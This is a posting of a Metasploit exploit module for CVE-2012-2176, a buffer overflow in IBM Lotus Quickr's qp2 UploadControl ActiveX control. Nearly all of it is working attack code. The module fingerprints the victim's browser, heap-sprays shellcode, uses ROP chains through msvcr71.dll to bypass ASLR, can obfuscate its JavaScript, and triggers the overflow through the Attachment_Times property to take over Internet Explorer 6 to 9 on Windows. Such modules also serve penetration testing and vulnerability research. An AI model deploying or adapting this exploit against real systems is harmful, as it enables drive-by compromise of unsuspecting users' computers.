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IBM Lotus QuickR qp2 ActiveX Buffer Overflow

IBM Lotus QuickR qp2 ActiveX Buffer Overflow
Posted Dec 31, 2012
Authored by Gaurav Baruah, juan vazquez | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability on the UploadControl ActiveX. The vulnerability exists in the handling of the "Attachment_Times" property, due to the insecure usage of the _swscanf. The affected ActiveX is provided by the qp2.dll installed with the IBM Lotus Quickr product. This Metasploit module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7, using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module msvcr71.dll is used. This one is installed with the qp2 ActiveX.

tags | exploit, overflow, activex
systems | windows
advisories | CVE-2012-2176, OSVDB-82166
SHA-256 | 2570396e9a994f0f9128106991e69dcb968d0dde0fbe6d004afd9587713e5cbb

IBM Lotus QuickR qp2 ActiveX Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}",
:method => "Attachment_Times"
})


def initialize(info={})
super(update_info(info,
'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability on the UploadControl
ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
property, due to the insecure usage of the _swscanf. The affected ActiveX is
provided by the qp2.dll installed with the IBM Lotus Quickr product.

This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module
msvcr71.dll is used. This one is installed with the qp2 ActiveX.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gaurav Baruah', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2176' ],
[ 'OSVDB', '82166' ],
[ 'BID', '53678'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-134/' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ]
],
'Payload' =>
{
'Space' => 978,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# qp2.dll 8.1.0.1800
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ] # pop esp # ret # msvcr71.dll
],
'Privileged' => false,
'DisclosureDate' => "May 23 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|

else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
end

return rop_payload
end

def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

bof = rand_text_alpha(512) # offset to eip"
bof << [my_target.ret].pack("V")
if my_target['Rop']
bof << rand_text_alpha(4)
bof << [0x0c0c0c0c].pack("V") # new stack
end

my_bof = Rex::Text.to_unescape(bof)

html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object id="UploadControl" width="100%" height="100%" classid="clsid:05D96F71-87C6-11D3-9BE4-00902742D6E0">
<param name="General_Mode" value="1">
<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
</object>
<script>
var bof = unescape("#{my_bof}");
var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
my_time += bof;
my_time += " GMT";
UploadControl.Attachment_Times = my_time;
</script>
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end
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